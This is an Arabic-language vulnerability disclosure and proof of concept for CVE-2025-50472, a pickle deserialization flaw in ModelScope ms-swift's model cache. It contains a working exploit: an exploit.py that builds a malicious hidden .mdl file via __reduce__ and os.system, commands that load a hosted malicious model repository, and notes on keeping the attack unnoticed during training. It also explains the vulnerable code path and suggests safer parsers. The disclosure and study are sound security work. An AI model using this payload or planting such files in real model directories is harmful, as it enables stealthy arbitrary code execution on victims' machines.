
إثبات المفهوم لاستغلال CVE-2025-50472، وهي ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) عبر إلغاء التسلسل في ModelFileSystemCache في ModelScope ms-swift عبر ملفات .mdl خبيثة.
لقد قمت بتحميل مستودع تعليمات برمجية يحتوي على ملف .mdl ضار إلى ModelScope لأغراض الاختبار. يمكن استخدامه مباشرة أثناء الاختبار. الرابط هو:
https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
يحتوي ملف
.mdlعلى تعليمات برمجية ضارة مدمجة، ولكن لا يتم عرض أي تحذير أمني على ModelScope.
كود PoC:
# إعداد البيئة
pip install ms-swift==2.6.1
pip install -r framework.txt # هذا الملف requirements موجود في مستودع modelscope/ms-swift
# عند استخدام المستودع البعيد HaoFan2024/ms-swift-test-fanhao، سيتم تنزيل ملف `.mdl` مباشرة.
# أثناء تحميل النموذج، يتم تحميل ملف `.mdl` باستخدام `pickle.load`، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
إجراءات إعادة إنتاج المشكلة هي كما يلي:
يتم تنزيل النموذج
بعد تنفيذ التعليمات البرمجية الضارة، يستمر التدريب بشكل طبيعي دون انقطاع
يتم تنفيذ الحمولة الضارة بنجاح
مكتبة modelscope/ms-swift حتى الإصدار 2.6.1 معرضة لتنفيذ تعليمات برمجية عشوائية من خلال إلغاء تسلسل البيانات غير الموثوقة داخل دالة load_model_meta() في الفئة ModelFileSystemCache(). يمكن للمهاجمين تنفيذ تعليمات برمجية وأوامر عشوائية عن طريق إنشاء حمولة .mdl متسلسلة ضارة، مستغلين استخدام pickle.load() على بيانات من مصادر غير موثوقة محتملة. تسمح هذه الثغرة بتنفيذ التعليمات البرمجية عن بُعد (RCE) عن طريق خداع الضحايا لتحميل نقطة فحص تبدو غير ضارة أثناء عملية تدريب عادية، مما يمكّن المهاجمين من تنفيذ تعليمات برمجية عشوائية على الجهاز المستهدف.
لاحظ أن ملف الحمولة هو ملف مخفي، مما يجعل من الصعب على الضحية اكتشاف العبث. والأهم من ذلك، أثناء عملية تدريب النموذج، بعد تحميل ملف .mdl وتنفيذ تعليمات برمجية عشوائية، تظل عملية التدريب العادية غير متأثرة، مما يعني أن المستخدم لا يدرك تنفيذ التعليمات البرمجية العشوائية.
وصف تفصيلي للثغرة: تنتج الثغرة عن إلغاء تسلسل غير آمن للبيانات غير الموثوقة. يستخدم السكريبت pickle.load لتحميل ملف ذاكرة التخزين المؤقت المخفي وهو عرضة لتنفيذ التعليمات البرمجية.
تدفق التعليمات البرمجية من الإدخال إلى الحالة الضعيفة:
~/.cache/modelscope/hub/xx/xx، حيث كان هناك ملف ذاكرة تخزين مؤقت .mdl في دليل النموذج، يحتوي على معلومات أساسية مثل اسم النموذج.caching.py بإلغاء تسلسل ملف .mdl، تم تنفيذ التعليمات البرمجية الضارة المضمنة في الملف.نقطة الحقن: تحدث الثغرة عند النقطة التي يتم فيها استدعاء pickle.load.
رابط GitHub الدائم: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
الإصلاحات المقترحة: عند التعامل مع ملفات التكوين (وليس ملفات النموذج)، يُوصى باستخدام طرق تحليل ملفات أكثر أمانًا، مثل yaml.safe_load(yaml_file) أو json.load، لتخفيف خطر تنفيذ التعليمات البرمجية العشوائية.
exploit.py لإنشاء ملف ذاكرة تخزين مؤقت ضار .mdl سينشئ دليلاً على نظام الضحية:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
استبدل ملف .mdl الأصلي في دليل النموذج بالملف الضار المُنشأ أعلاه.
عندما يتم تحديد معلمة model_id_or_path أثناء التدريب للإشارة إلى دليل نموذج محلي، يمكن أن يؤدي ملف .mdl المزروع في المسار المحدد إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
الأهم من ذلك، أن هذا التعديل لا يؤثر على سير العمل العادي للتدريب، مما يجعل هجوم RCE خفيًا ويصعب على المستخدمين اكتشافه.
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
هاو فان (凡浩) ويو رونغ (戎誉)